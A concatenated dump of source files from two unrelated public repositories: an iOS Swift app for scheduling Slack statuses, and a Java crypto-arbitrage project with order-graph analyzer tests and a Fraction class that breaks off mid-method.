emoji: "🏠", statusMessage: "Home"))
scheduleItems.append(
ScheduleItem(hour: 9, minute: 00, days: Days.wednesday.asSet(),
emoji: "💻", statusMessage: "Working From Home"))
///mock delay for first load
DispatchQueue.main.asyncAfter(deadline: .now() + 1.0) {
completion(self.scheduleItems, nil)
}
}
}
<file_sep>//
// Utilities.swift
// SlackStatus
//
// Created by <NAME> on 5/1/17.
// Copyright © 2017 johannmg. All rights reserved.
//
import Foundation
class Utilities {
}
<file_sep>//
// Collection.swift
// SlackStatus
//
// Created by <NAME> on 5/1/17.
// Copyright © 2017 johannmg. All rights reserved.
//
import Foundation
extension Collection {
func onlyType<T>(_ type: T.Type) -> [T] {
return self.filter{ $0 is T }.map{ $0 as! T }
}
}
<file_sep>//
// TeamManager.swift
// SlackStatus
//
// Created by <NAME> on 4/30/17.
// Copyright © 2017 johannmg. All rights reserved.
//
import Foundation
/*
Managers mutiple login for teams
- Update team name to display
- Team last active (for app restart)
- All logged-in team ids
- Login Saving
- Logging Out
- Get API key from keychain from team id
*/
struct TeamKeys{
static let allTeamsKey = "teams.allteams"
static let lastKey = "teams.lastUsed"
}
typealias ApiToken = String
class TeamManager {
static var isUserLoggedIn: Bool {
guard let teams = TeamManager.getAllTeams() else {
return false
}
return teams.count > 0
}
static func loggedInWithTeam(_ team: Team, AndApiTokenForTeam teamApiToken: String){
KeychainWrapper.standard.set(teamApiToken, forKey: team.id)
addTeam(team)
//Sets the last team to the one just logged in
setLastUsedTeam(team)
}
static func logoutTeam(_ team: Team){
KeychainWrapper.standard.removeObject(forKey: team.id)
}
static func removeTeam(_ teamToDiscard: Team){
guard let teams = getAllTeams() else {
return //there were no teams for some reason. oh no!
}
saveUpdatedTeamsList( teams.filter{ $0 != teamToDiscard } )
}
static func addTeam(_ team: Team) {
var allTeams = TeamManager.getAllTeams() ?? [Team]()
allTeams.append(team)
saveUpdatedTeamsList(allTeams)
}
//SAVE TO USER DEFAULTS
static func saveUpdatedTeamsList(_ team: [Team]){
UserDefaults.standard.set( Team.archiveTeams(team) , forKey: TeamKeys.allTeamsKey)
UserDefaults.standard.synchronize()
}
//READ FROM USER DEFAULTS
static func getAllTeams() -> [Team]? {
return Team.unarchiveTeamsFromData( UserDefaults.standard.data(forKey: TeamKeys.allTeamsKey) )
}
static func getApiTokenForTeam(_ team: Team) -> ApiToken? {
return KeychainWrapper.standard.string(forKey: team.id)
}
static func setLastUsedTeam(_ team: Team){
UserDefaults.standard.set(team.id, forKey: TeamKeys.lastKey)
}
static func getLastUsedTeam() -> Team? {
let lastUserTeamId = UserDefaults.standard.string(forKey: TeamKeys.lastKey)
return getAllTeams()?.filter{ $0.id == lastUserTeamId }.first
}
}
<file_sep>//
// TeamScheduleViewController.swift
// SlackStatus
//
// Created by <NAME> on 4/30/17.
// Copyright © 2017 johannmg. All rights reserved.
//
import UIKit
enum ScheduleViewState {
case started
case loading(Team)
case error(Team, Error)
case empty(Team)
case loaded(Team)
func getTeam() -> Team? {
switch self {
case .empty( let team ):
return team
case .error(let team, _):
return team
case .loading( let team ):
return team
case .loaded( let team ):
return team
default:
return nil
}
}
}
class TeamScheduleViewController: UIViewController {
var displayState = ScheduleViewState.started {
didSet {
if case .loading(_) = displayState {
setLoadingState()
}
if case .error(_) = displayState {
setErrorState()
}
if case .empty(_) = displayState {
setEmptyPrompt()
}
if case .loaded(_) = displayState {
showTableView()
}
}
}
var teamSchedule: TeamScheduleService?
@IBOutlet weak var settingButton: UIButton!
@IBOutlet weak var tableView: UITableView!
var loadingView = LoadingView()
var tableData: ScheduleTaskListTableData?
override func viewDidLoad() {
super.viewDidLoad()
startRefresh()
setupTable()
setupNavBar()
}
func setupNavBar(){
navigationController?.title = "Schedule"
settingButton.imageView?.contentMode = .scaleAspectFit
settingButton.setImage(UIImage(named: "SettingsGear"), for: .normal)
let originalFrame = navigationItem.leftBarButtonItem?.customView?.frame ?? CGRect.zero
navigationItem.leftBarButtonItem?.customView?.frame = CGRect(x: originalFrame.minX, y: originalFrame.minY, width: originalFrame.height, height: originalFrame.height)
}
func setupTable(){
// tableView.register(ScheduleItemTableViewCell, forCellReuseIdentifier: "scheduleItemCell")
}
func startRefresh(){
tableView.isHidden = true
// Do any additional setup after loading the view.
guard let activeTeam = TeamManager.getLastUsedTeam() else {
print("NO DEFAULT TEAM")
return
//OH NO KICK BACK TO LOGIN
}
navigationController?.navigationBar.isHidden = true
displayState = .loading( activeTeam )
teamSchedule = TeamScheduleService(WithTeam: activeTeam)
teamSchedule?.getScheduleItems(WithCompletionHandler: loadScheduledItems)
}
func loadScheduledItems (_ items: [ScheduleItem]?, _ error: Error?) {
//If there is no team, something started INCORRECTLY
guard let team = displayState.getTeam() else { return }
title = team.name
if let error = error {
displayState = .error(team, error)
return
}
if let items = items, items.count > 0 {
displayState = .loaded(team)
} else { // nil items or no items
displayState = .empty(team)
}
}
private func setLoadingState(){
tableView.isHidden = true
if loadingView.superview == nil {
view.addSubview(loadingView)
loadingView.translatesAutoresizingMaskIntoConstraints = false
loadingView.topAnchor.constraint(equalTo: view.topAnchor).isActive = true
loadingView.bottomAnchor.constraint(equalTo: view.bottomAnchor).isActive = true
loadingView.leftAnchor.constraint(equalTo: view.leftAnchor).isActive = true
loadingView.rightAnchor.constraint(equalTo: view.rightAnchor).isActive = true
}
}
private func setErrorState(){
}
private func setEmptyPrompt(){
}
private func showTableView(){
print(#function)
guard let teamSchedule = teamSchedule else {
print("NO TEAM SCHEDULE")
return
}
UIView.animate(withDuration: 0.2) {
self.loadingView.alpha = 0
}
tableView.isHidden = false
navigationController?.navigationBar.isHidden = false
tableData = ScheduleTaskListTableData(WithService: teamSchedule)
tableView.delegate = self
tableView.dataSource = tableData!
tableView.tableFooterView = UIView()
view.layoutSubviews()
tableView.contentInset = UIEdgeInsets(top: navigationController?.navigationBar.frame.height ?? 0, left: 0, bottom: 0, right: 0)
tableView.reloadData()
}
@IBAction func settingsPressed(_ sender: UIButton) {
print("Settings")
}
}
extension TeamScheduleViewController: UITableViewDelegate {
func isAddButton(AtIndexPath indexPath: IndexPath) -> Bool {
return indexPath.row == teamSchedule?.scheduleItems.count ?? -1
}
func tableView(_ tableView: UITableView, heightForRowAt indexPath: IndexPath) -> CGFloat {
if isAddButton(AtIndexPath: indexPath) {
return 55
}
return 140
}
func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {
print( "Selected row \(indexPath.row)" )
}
}
<file_sep>//
// OAuthWebViewViewController.swift
import UIKit
protocol OAuthSlackLoginDelegate{
func loginDidSucceed()
func loginFailOrDidDismiss()
}
class OAuthWebViewViewController: UIViewController {
@IBOutlet weak var headerLabel: UILabel!
@IBOutlet weak var exitButton: UIButton!
var loginDelegate: OAuthSlackLoginDelegate?
override func viewDidLoad() {
super.viewDidLoad()
// Do any additional setup after loading the view.
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
// Dispose of any resources that can be recreated.
}
@IBAction func touchedToDismissLogin(_ sender: UIButton) {
dismiss(animated: true) {
self.loginDelegate?.loginFailOrDidDismiss()
}
}
@IBAction func pressedDidSucceed(_ sender: Any) {
if !TeamManager.isUserLoggedIn {
let fakeTeam = Team(id: "47328978", name: "My Test Team")
TeamManager.loggedInWithTeam(fakeTeam, AndApiTokenForTeam: "478923")
print("Made fake account.")
}
dismiss(animated: true) {
self.loginDelegate?.loginDidSucceed()
}
}
@IBAction func pressedDidFail(_ sender: Any) {
dismiss(animated: true) {
self.loginDelegate?.loginFailOrDidDismiss()
}
}
}
<file_sep>//
// ScheduleItemTableViewCell.swift
// SlackStatus
//
// Created by <NAME> on 4/30/17.
// Copyright © 2017 johannmg. All rights reserved.
//
import UIKit
class ScheduleItemTableViewCell: UITableViewCell {
@IBOutlet weak var colorBoundingView: UIView!
@IBOutlet weak var timeLabel: UILabel!
@IBOutlet weak var daysListLabel: UILabel!
@IBOutlet weak var statusTextLabel: UILabel!
override func awakeFromNib() {
super.awakeFromNib()
// Initialization code
backgroundColor = UIColor.clear
colorBoundingView.layer.cornerRadius = 6.0
setGradient()
}
override func setSelected(_ selected: Bool, animated: Bool) {
super.setSelected(selected, animated: animated)
setGradient()
colorBoundingView.alpha = 1
// Configure the view for the selected state
}
override func setHighlighted(_ highlighted: Bool, animated: Bool) {
super.setHighlighted(highlighted, animated: animated)
setGradient()
colorBoundingView.alpha = 1
}
private func setGradient(){
colorBoundingView.backgroundColor = kAppColors.deepBlue
}
}
<file_sep>//
// Days.swift
import Foundation
enum Days : String {
case monday = "Mon"
case tuesday = "Tue"
case wednesday = "Wed"
case thursday = "Thur"
case friday = "Fri"
case saturday = "Sat"
case sunday = "Sun"
}
extension Days {
func longName() -> String {
switch self {
case .monday:
return "Monday"
case .tuesday:
return "Tuesday"
case .wednesday:
return "Wednesday"
case .thursday:
return "Thursday"
case .friday:
return "Friday"
case .saturday:
return "Saturday"
case .sunday:
return "Sunday"
}
}
static func getWeekdays() -> Set<Days> {
return Set([.monday, .tuesday, .wednesday, .thursday, .friday])
}
static func getWeekends() -> Set<Days> {
return Set([.saturday, .sunday])
}
static func getAllDays() -> Set<Days> {
return getWeekdays().union( getWeekends() )
}
func asSet() -> Set<Days>{
return Set<Days>([self])
}
static func getCollectionAsString<T: Collection>(_ daysCollection: T ) -> String {
let days = daysCollection.onlyType(Days.self)
if days.count == 1 { return days.first!.longName() }
return days.sorted().map{ $0.rawValue }.reduce("") { sum, element in
if sum == "" { return element }
return "\(sum), \(element)"
}
}
}
extension Days: Comparable {
func getIntValue() -> Int {
switch self {
case .monday:
return 0
case .tuesday:
return 1
case .wednesday:
return 2
case .thursday:
return 3
case .friday:
return 4
case .saturday:
return 5
case .sunday:
return 6
}
}
static func < (lhs: Days, rhs: Days) -> Bool {
return lhs.getIntValue() < rhs.getIntValue()
}
static func == (lhs: Days, rhs: Days) -> Bool {
return lhs.getIntValue() == rhs.getIntValue()
}
}
<file_sep>//
// LoadingView.swift
// SlackStatus
//
// Created by <NAME> on 4/30/17.
// Copyright © 2017 johannmg. All rights reserved.
//
import UIKit
class LoadingView: UIView {
let loadingLabel = UILabel()
override init(frame: CGRect) {
super.init(frame: frame)
commonInit()
}
required init?(coder aDecoder: NSCoder) {
super.init(coder: aDecoder)
commonInit()
}
func commonInit(){
backgroundColor = kAppColors.brightBlue
addSubview(loadingLabel)
loadingLabel.translatesAutoresizingMaskIntoConstraints = false
loadingLabel.textAlignment = .center
loadingLabel.centerYAnchor.constraint(equalTo: centerYAnchor).isActive = true
loadingLabel.centerXAnchor.constraint(equalTo: centerXAnchor).isActive = true
loadingLabel.leadingAnchor.constraint(equalTo: leadingAnchor).isActive = true
loadingLabel.trailingAnchor.constraint(equalTo: trailingAnchor).isActive = true
loadingLabel.textColor = UIColor.white
loadingLabel.text = "Loading..."
}
/*
// Only override draw() if you perform custom drawing.
// An empty implementation adversely affects performance during animation.
override func draw(_ rect: CGRect) {
// Drawing code
}
*/
}
<file_sep>//
// Constants.swift
import UIKit
struct kAppColors {
static let brightBlue = UIColor(red: 0.275, green: 0.804, blue: 0.769, alpha: 1.00)
static let deepBlue = UIColor(red: 0.333, green: 0.384, blue: 0.443, alpha: 1.00)
static let deepRed = UIColor(red: 1.000, green: 0.416, blue: 0.404, alpha: 1.00)
static let darkOrange = UIColor(red: 0.961, green: 0.400, blue: 0.149, alpha: 1.00)
static let brightOrange = UIColor(red: 0.949, green: 0.553, blue: 0.235, alpha: 1.00)
static let topGradBlue = UIColor(red: 0.333, green: 0.384, blue: 0.443, alpha: 1.00)
static let bottomGradBlue = UIColor(red: 0.106, green: 0.204, blue: 0.314, alpha: 1.00)
}
|
42927d5761973331a03fb118e4ceb8f9ed25d8cd
|
[
"Swift"
] | 14 |
Swift
|
JohannMG/SlackStatusApp
|
9e221b9b236b48b62af34811b48f45e3e3abc1b5
|
1bfa3e647d6edb2e9c6c84be8110d18ab9d15ec4
|
refs/heads/master
|
<file_sep>#define motionSensor 2//Use pin 2 to receive the signal from the motion
#define lightSensor A0// Use analog pin 0 to recive signal from light sensor
#define LED 13// LED light output
void setup()
{
pinsInit();
}
void loop()
{
if(isMotionDetected() && !isLightDetected())//if the sensor detects movement and light is poor, turn on LED.
turnOnLED();
else//if the sensor does not detect movement or light is high , do not turn on LED.
turnOffLED();
}
void pinsInit()
{
pinMode(motionSensor, INPUT);
pinMode(LED,OUTPUT);
}
void turnOnLED()
{
digitalWrite(LED,HIGH);
delay(5000);
}
void turnOffLED()
{
digitalWrite(LED,LOW);
}
boolean isMotionDetected()
{
int sensorValue = digitalRead(motionSensor);
if(sensorValue == HIGH)//if motion is detected
{
return true;
}
else
{
return false;
}
}
boolean isLightDetected ()
{
int sensorValue = analogRead(lightSensor);
if (sensorValue > 80)// if resistance ammount on light sensor is more than number. Higher Value == More Light
{
return true;
}
else
{
return false;
}
}
|
9585c7575e75044adfe9cc51d44d35aa3a68e270
|
[
"C++"
] | 1 |
C++
|
pisu86/Arduino-motion-and-light-sensitive-LED
|
6dd1dc836e6dd0e81695152ded55f029309adfbf
|
f510b7fb5c29becbfb7a75c0546821554a2d8dd6
|
refs/heads/master
|
<file_sep>package com.externalwebapi.jonsmiley.controller.Authentication;
import org.jose4j.jwa.AlgorithmConstraints;
import org.jose4j.jws.AlgorithmIdentifiers;
import org.jose4j.jws.JsonWebSignature;
import org.jose4j.keys.HmacKey;
import org.json.JSONObject;
import java.text.SimpleDateFormat;
import java.util.Date;
public class JwtValidation {
public static boolean Validation(String jwt){
try{
if(!jwt.contains("Bearer")){
return false;
}
jwt = jwt.replace("Bearer ", "");
JsonWebSignature jws = new JsonWebSignature();
jws.setAlgorithmConstraints(
new AlgorithmConstraints(
AlgorithmConstraints.ConstraintType.WHITELIST, AlgorithmIdentifiers.HMAC_SHA256)
);
jws.setCompactSerialization(jwt);
String key = "Smiley$1959!384$892-frLn$5578lk0)0f4";
jws.setKey(new HmacKey(key.getBytes()));
Object payload = new JSONObject(jws.getPayload());
long expirationTime = ((JSONObject) payload).getInt("exp");
Date date = new Date();
long currentTime = date.getTime()/1000;
if (currentTime >= expirationTime){
return false;
}
System.out.println("JWS payload: " + payload);
}catch (Exception ex){
System.out.println(ex);
return false;
}
return true;
}
}
<file_sep># externalWebApi
Personal web api to manage portfolio projects
|
32b209ec99f64d2c8ba885499a2645560e317997
|
[
"Markdown",
"Java"
] | 2 |
Java
|
jon-smiley/externalWebApi
|
0d511c4c4052395dd554aab29e038cf6946f2635
|
a09662915407566bb89e7ef2450926fd7300d997
|
refs/heads/master
|
<repo_name>ken2190/CryptoArbitrage<file_sep>/src/test/java/BenTrapani/CryptoArbitrage/OrderBookAnalyzerTest.java
package BenTrapani.CryptoArbitrage;
import static org.junit.Assert.*;
import java.util.Arrays;
import java.util.HashSet;
import BenTrapani.CryptoArbitrage.OrderBookAnalyzer;
import BenTrapani.CryptoArbitrage.OrderBookAnalyzer.AnalysisResult;
import BenTrapani.CryptoArbitrage.OrderGraph.TwoSidedGraphEdge;
import BenTrapani.CryptoArbitrage.OrderGraph.GraphEdge;
import org.junit.Test;
import org.knowm.xchange.currency.Currency;
public class OrderBookAnalyzerTest {
//Basic test structure to make sure max works when cache is never reused
private OrderGraph buildTestOrderGraph1() {
OrderGraph orderGraph = new OrderGraph();
/*
* USD ---0.001----> BTC
* \ <---1000----- />
* \ /
* \ 0.05
* 0.1 /
* \> DGC /
*/
Fraction fee = new Fraction(0);
Fraction oneFrac = new Fraction(1);
orderGraph.addEdge(Currency.USD, Currency.DGC, "poloniex", true, oneFrac, new Fraction(10), fee);
orderGraph.addEdge(Currency.DGC, Currency.BTC, "gdax", true, oneFrac, new Fraction(100, 5), fee);
orderGraph.addEdge(Currency.BTC, Currency.USD, "coinbase", true, oneFrac, new Fraction(1, 1000), fee);
orderGraph.addEdge(Currency.USD, Currency.BTC, "coinbase", true, oneFrac, new Fraction(1000), fee);
return orderGraph;
}
private OrderGraph buildTestOrderGraph1WithPositiveShortPath() {
OrderGraph orderGraph = new OrderGraph();
/*
* USD ---0.002----> BTC
* \ <---1000----- />
* \ /
* \ 0.05
* 0.1 /
* \> DGC /
*/
Fraction fee = new Fraction(0);
Fraction oneFrac = new Fraction(1);
orderGraph.addEdge(Currency.USD, Currency.DGC, "poloniex", true, oneFrac, new Fraction(10), fee);
orderGraph.addEdge(Currency.DGC, Currency.BTC, "gdax", true, oneFrac, new Fraction(100, 5), fee);
orderGraph.addEdge(Currency.BTC, Currency.USD, "coinbase", true, oneFrac, new Fraction(1, 1000), fee);
orderGraph.addEdge(Currency.USD, Currency.BTC, "coinbase", true, oneFrac, new Fraction(500), fee);
return orderGraph;
}
// Tests cached partial solutions if implemented (ETH) and multiple equivalence classes otherwise
private OrderGraph buildTestOrderGraph2() {
OrderGraph orderGraph = new OrderGraph();
/*
* > LTC \ > BTC
* / \ / \
* 0.01 0.5 2 100
* / \> / \>
* USD<---1----ETH < \----1----XRP
* \ /> \ \ />
* 0.5 0.7 100 0.03 4
* \> / \ \ /
* DGC / > XPM /
*/
// Max loop to USD: USD -> DGC -> ETH -> BTC -> XRP -> ETH -> XPM -> ETH -> USD
Fraction fee = new Fraction(0);
Fraction oneFrac = new Fraction(1);
orderGraph.addEdge(Currency.USD, Currency.LTC, "testExch", true, oneFrac, new Fraction(100), fee);
orderGraph.addEdge(Currency.USD, Currency.DGC, "testExch", true, oneFrac, new Fraction(2), fee);
orderGraph.addEdge(Currency.LTC, Currency.ETH, "testExch", true, oneFrac, new Fraction(2), fee);
orderGraph.addEdge(Currency.DGC, Currency.ETH, "testExch", true, oneFrac, new Fraction(10, 7), fee);
orderGraph.addEdge(Currency.ETH, Currency.USD, "testExch", true, oneFrac, new Fraction(1), fee);
orderGraph.addEdge(Currency.ETH, Currency.BTC, "testExch", true, oneFrac, new Fraction(1, 2), fee);
orderGraph.addEdge(Currency.ETH, Currency.XPM, "testExch", true, oneFrac, new Fraction(1, 100), fee);
orderGraph.addEdge(Currency.XPM, Currency.ETH, "testExch", true, oneFrac, new Fraction(100, 3), fee);
orderGraph.addEdge(Currency.XPM, Currency.XRP, "testExch", true, oneFrac, new Fraction(1, 4), fee);
orderGraph.addEdge(Currency.BTC, Currency.XRP, "testExch", true, oneFrac, new Fraction(1, 100), fee);
orderGraph.addEdge(Currency.XRP, Currency.ETH, "testExch", true, oneFrac, new Fraction(1), fee);
return orderGraph;
}
private OrderGraph buildLeafyTestGraph() {
/*
*
* />DGC-----0.01\
* / |
* 0.5 |
* / |
* USD |
* \ |
* 0.001 >
* \>BTC----20----->ETH--50-->XPM
*/
OrderGraph orderGraph = new OrderGraph();
Fraction fee = new Fraction(0);
Fraction oneFrac = new Fraction(1);
orderGraph.addEdge(Currency.USD, Currency.DGC, "testExch", true, oneFrac, new Fraction(10, 5), fee);
orderGraph.addEdge(Currency.USD, Currency.BTC, "testExch", true, oneFrac, new Fraction(1000), fee);
orderGraph.addEdge(Currency.DGC, Currency.ETH, "testExch", true, oneFrac, new Fraction(100), fee);
orderGraph.addEdge(Currency.BTC, Currency.ETH, "testExch", true, oneFrac, new Fraction(1, 20), fee);
orderGraph.addEdge(Currency.ETH, Currency.XPM, "testExch", true, oneFrac, new Fraction(1, 50), fee);
return orderGraph;
}
private OrderGraph buildDisjointLoopsTestGraph()
{
/*
*
* ->DGC
* 0.5 0.1
* / \>
* USD<---19---ETH
*
* ->XPM
* 0.5 0.1
* / \>
* XRP<---22---LTC
*
*/
OrderGraph orderGraph = new OrderGraph();
Fraction fee = new Fraction(0);
Fraction oneFrac = new Fraction(1);
String testExch = "testExch";
orderGraph.addEdge(Currency.USD, Currency.DGC, testExch, true, oneFrac, new Fraction(10, 5), fee);
orderGraph.addEdge(Currency.DGC, Currency.ETH, testExch, true, oneFrac, new Fraction(10, 1), fee);
orderGraph.addEdge(Currency.ETH, Currency.USD, testExch, true, oneFrac, new Fraction(1, 19), fee);
orderGraph.addEdge(Currency.XRP, Currency.XPM, testExch, true, oneFrac, new Fraction(10, 5), fee);
orderGraph.addEdge(Currency.XPM, Currency.LTC, testExch, true, oneFrac, new Fraction(10, 1), fee);
orderGraph.addEdge(Currency.LTC, Currency.XRP, testExch, true, oneFrac, new Fraction(1, 22), fee);
return orderGraph;
}
private class MockAnalysisHandler implements OrderGraphAnalysisHandler {
@Override
public void onOrderBookAnalysisComplete(AnalysisResult analysisResult) {
}
}
@Test
public void testSearchForArbitrageSimple() {
OrderGraph sharedOrderGraph = buildTestOrderGraph1();
OrderBookAnalyzer analyzer = new OrderBookAnalyzer(sharedOrderGraph, Currency.USD, 100, new MockAnalysisHandler());
AnalysisResult analysisResult = analyzer.searchForArbitrageBellmanFord();
assertEquals(new Fraction(1000).multiply(new Fraction(1, 10)).multiply(new Fraction(1, 20)),
analysisResult.maxRatio);
Fraction fee = new Fraction(0);
Fraction oneFrac = new Fraction(1);
TwoSidedGraphEdge e1 = new TwoSidedGraphEdge(Currency.USD, new GraphEdge("poloniex", Currency.DGC, true, oneFrac, new Fraction(10), fee));
TwoSidedGraphEdge e2 = new TwoSidedGraphEdge(Currency.DGC, new GraphEdge("gdax", Currency.BTC, true, oneFrac, new Fraction(100, 5), fee));
TwoSidedGraphEdge e3 = new TwoSidedGraphEdge(Currency.BTC, new GraphEdge("coinbase", Currency.USD, true, oneFrac, new Fraction(1, 1000), fee));
HashSet<TwoSidedGraphEdge> expectedTradesOnBestPath = new HashSet<TwoSidedGraphEdge>(Arrays.asList(new TwoSidedGraphEdge[]{e1, e2, e3}));
assertEquals(expectedTradesOnBestPath, analysisResult.tradesToExecute);
OrderBookAnalyzer shortPathAnalyzer = new OrderBookAnalyzer(sharedOrderGraph, Currency.USD, 2, new MockAnalysisHandler());
analysisResult = shortPathAnalyzer.searchForArbitrageBellmanFord();
assertNull(analysisResult.tradesToExecute);
assertEquals(new Fraction(0), analysisResult.maxRatio);
OrderGraph sharedOrderGraphWithPositiveShortPath = buildTestOrderGraph1WithPositiveShortPath();
shortPathAnalyzer = new OrderBookAnalyzer(sharedOrderGraphWithPositiveShortPath, Currency.USD, 2, new MockAnalysisHandler());
analysisResult = shortPathAnalyzer.searchForArbitrageBellmanFord();
assertEquals(new Fraction(2), analysisResult.maxRatio);
TwoSidedGraphEdge e4 = new TwoSidedGraphEdge(Currency.BTC, new GraphEdge("coinbase", Currency.USD, true, oneFrac, new Fraction(1, 1000), fee));
TwoSidedGraphEdge e5 = new TwoSidedGraphEdge(Currency.USD, new GraphEdge("coinbase", Currency.BTC, true, oneFrac, new Fraction(500), fee));
expectedTradesOnBestPath = new HashSet<TwoSidedGraphEdge>(Arrays.asList(new TwoSidedGraphEdge[]{e4, e5}));
assertEquals(expectedTradesOnBestPath, analysisResult.tradesToExecute);
}
@Test
public void testSearchForArbitrageMultiEquivalenceClassesPerCurrency(){
OrderGraph sharedOrderGraph = buildTestOrderGraph2();
OrderBookAnalyzer analyzer = new OrderBookAnalyzer(sharedOrderGraph, Currency.USD, 100, new MockAnalysisHandler());
AnalysisResult analysisResult = analyzer.searchForArbitrageBellmanFord();
Fraction expectedMaxRatio = new Fraction(400);
assertEquals(expectedMaxRatio, analysisResult.maxRatio);
// Resulting trades should be as follows
String testExch = "testExch";
Fraction fee = new Fraction(0);
Fraction oneFrac = new Fraction(1);
TwoSidedGraphEdge e1 = new TwoSidedGraphEdge(Currency.ETH, new GraphEdge(testExch, Currency.XPM, true,
oneFrac, new Fraction(1, 100), fee));
TwoSidedGraphEdge e2 = new TwoSidedGraphEdge(Currency.XPM, new GraphEdge(testExch, Currency.XRP, true,
oneFrac, new Fraction(1, 4), fee));
TwoSidedGraphEdge e3 = new TwoSidedGraphEdge(Currency.XRP, new GraphEdge(testExch, Currency.ETH, true,
oneFrac, new Fraction(1), fee));
HashSet<TwoSidedGraphEdge> expectedTradesOnBestPath = new HashSet<TwoSidedGraphEdge>(Arrays.asList(new TwoSidedGraphEdge[]{e1, e2, e3}));
assertEquals(expectedTradesOnBestPath, analysisResult.tradesToExecute);
}
@Test
public void testNoLoopSearch() {
Fraction zeroFrac = new Fraction(0);
OrderGraph sharedOrderGraph = buildLeafyTestGraph();
OrderBookAnalyzer analyzer = new OrderBookAnalyzer(sharedOrderGraph, Currency.USD, 100, new MockAnalysisHandler());
AnalysisResult analysisResult = analyzer.searchForArbitrage();
assertTrue(analysisResult.maxRatio.compareTo(zeroFrac) < 0);
assertNull(analysisResult.tradesToExecute);
OrderBookAnalyzer noInitialCurrencyAnalyzer = new OrderBookAnalyzer(sharedOrderGraph, Currency.EUR, 100, new MockAnalysisHandler());
analysisResult = noInitialCurrencyAnalyzer.searchForArbitrage();
assertTrue(analysisResult.maxRatio.compareTo(zeroFrac) < 0);
assertNull(analysisResult.tradesToExecute);
}
@Test
public void testDisjointSearch() {
OrderGraph orderGraph = buildDisjointLoopsTestGraph();
OrderBookAnalyzer analyzer = new OrderBookAnalyzer(orderGraph, Currency.XRP, 100, new MockAnalysisHandler());
AnalysisResult analysisResult = analyzer.searchForArbitrageBellmanFord();
assertEquals(new Fraction(11, 10), analysisResult.maxRatio);
String testExch = "testExch";
Fraction oneFrac = new Fraction(1);
Fraction fee = new Fraction(0);
TwoSidedGraphEdge e1 = new TwoSidedGraphEdge(Currency.XRP, new GraphEdge(testExch, Currency.XPM, true,
oneFrac, new Fraction(10, 5), fee));
TwoSidedGraphEdge e2 = new TwoSidedGraphEdge(Currency.XPM, new GraphEdge(testExch, Currency.LTC, true,
oneFrac, new Fraction(10, 1), fee));
TwoSidedGraphEdge e3 = new TwoSidedGraphEdge(Currency.LTC, new GraphEdge(testExch, Currency.XRP, true,
oneFrac, new Fraction(1, 22), fee));
HashSet<TwoSidedGraphEdge> expectedTradesOnBestPath = new HashSet<TwoSidedGraphEdge>(Arrays.asList(new TwoSidedGraphEdge[]{e1, e2, e3}));
assertEquals(expectedTradesOnBestPath, analysisResult.tradesToExecute);
analyzer = new OrderBookAnalyzer(orderGraph, Currency.USD, 100, new MockAnalysisHandler());
analysisResult = analyzer.searchForArbitrageBellmanFord();
assertNull(analysisResult.tradesToExecute);
assertEquals(new Fraction(0), analysisResult.maxRatio);
}
}
<file_sep>/src/main/java/BenTrapani/CryptoArbitrage/Fraction.java
package BenTrapani.CryptoArbitrage;
import java.math.BigDecimal;
import java.math.BigInteger;
import java.math.RoundingMode;
/***
*
* @author benjamintrapani
*
* Fraction class because standard library doesn't have one it seems...
*
*/
public class Fraction implements Comparable<Fraction> {
public final BigInteger numerator;
public final BigInteger denominator;
public Fraction(int value) {
numerator = BigInteger.valueOf(value);
denominator = BigInteger.ONE;
}
public Fraction(BigInteger val) {
numerator = val;
denominator = BigInteger.ONE;
}
public Fraction(BigInteger num, BigInteger denom) {
BigIntPair reducedPair = computeReduced(num, denom);
numerator = reducedPair.n1;
denominator = reducedPair.n2;
}
public Fraction(long num, long denom) {
this(BigInteger.valueOf(num), BigInteger.valueOf(denom));
}
public Fraction(BigDecimal val) {
BigInteger unscaledValue = val.unscaledValue();
BigInteger tempDenom;
if (val.scale() < 0) {
unscaledValue = unscaledValue.multiply(BigInteger.valueOf(val.scale() * -1));
tempDenom = BigInteger.ONE;
} else {
tempDenom = BigInteger.TEN.pow(val.scale());
}
BigIntPair reducedPair = computeReduced(unscaledValue, tempDenom);
numerator = reducedPair.n1;
denominator = reducedPair.n2;
}
public BigDecimal convertToBigDecimal(int scale, int roundingMode) {
return new BigDecimal(numerator).divide(new BigDecimal(denominator), scale, roundingMode);
}
public Fraction multiply(Fraction other) {
return new Fraction(other.numerator.multiply(numerator), other.denominator.multiply(denominator));
}
public Fraction divide(Fraction other) {
return new Fraction(other.denominator.multiply(numerator), other.numerator.multiply(denominator));
}
private static class FractionPairWithCommonDenominator {
public final BigInteger numerator1;
public final BigInteger numerator2;
public final BigInteger commonDenominator;
public FractionPairWithCommonDenominator(final Fraction f1, final Fraction f2) {
commonDenominator = f1.denominator.multiply(f2.denominator);
BigInteger commonDenomFac1 = f2.denominator;
BigInteger commonDenomFac2 = f1.denominator;
numerator1 = f1.numerator.multiply(commonDenomFac1);
numerator2 = f2.numerator.multiply(commonDenomFac2);
}
}
public Fraction add(Fraction other) {
FractionPairWithCommonDenominator fracPair = new FractionPairWithCommonDenominator(this, other);
return new Fraction(fracPair.numerator1.add(fracPair.numerator2), fracPair.commonDenominator);
}
public Fraction subtract(Fraction other) {
FractionPairWithCommonDenominator fracPair = new FractionPairWithCommonDenominator(this, other);
return new Fraction(fracPair.numerator1.subtract(fracPair.numerator2), fracPair.commonDenominator);
}
// This converts to double, and will reduce precision.
// The precision will be reduced so that the ratio expressed is smaller than
// it really is.
public Fraction logLossy() {
BigDecimal divResult = new BigDecimal(numerator).divide(new BigDecimal(denominator), 20, RoundingMode.DOWN);
double doubleDivRes = divResult.doubleValue();
return new Fraction(new BigDecimal(Math.log(doubleDivRes)));
}
public Fraction max(Fraction other) {
if (compareTo(other) > 0) {
return this;
}
return other;
}
public Fraction min(Fraction other) {
if (compareTo(other) < 0) {
return this;
}
return other;
}
private static class BigIntPair {
public final BigInteger n1;
public final BigInteger n2;
public BigIntPair(BigInteger n1, BigInteger n2) {
this.n1 = n1;
this.n2 = n2;
}
}
private static BigIntPair computeReduced(BigInteger tempNum, BigInteger tempDenom) {
BigInteger gcd = tempNum.abs().gcd(tempDenom.abs());
BigInteger reducedNum = tempNum.divide(gcd);
BigInteger reducedDenom = tempDenom.divide(gcd);
return new BigIntPair(reducedNum, reducedDenom);
}
@Override
public boolean equals(Object obj) {
if (obj == null) {
return false;
}
if (getClass() != obj.getClass()) {
return false;
}
final Fraction other = (Fraction) obj;
return numerator.equals(other.numerator) && denominator.equals(other.denominator);
}
@Override
public int hashCode() {
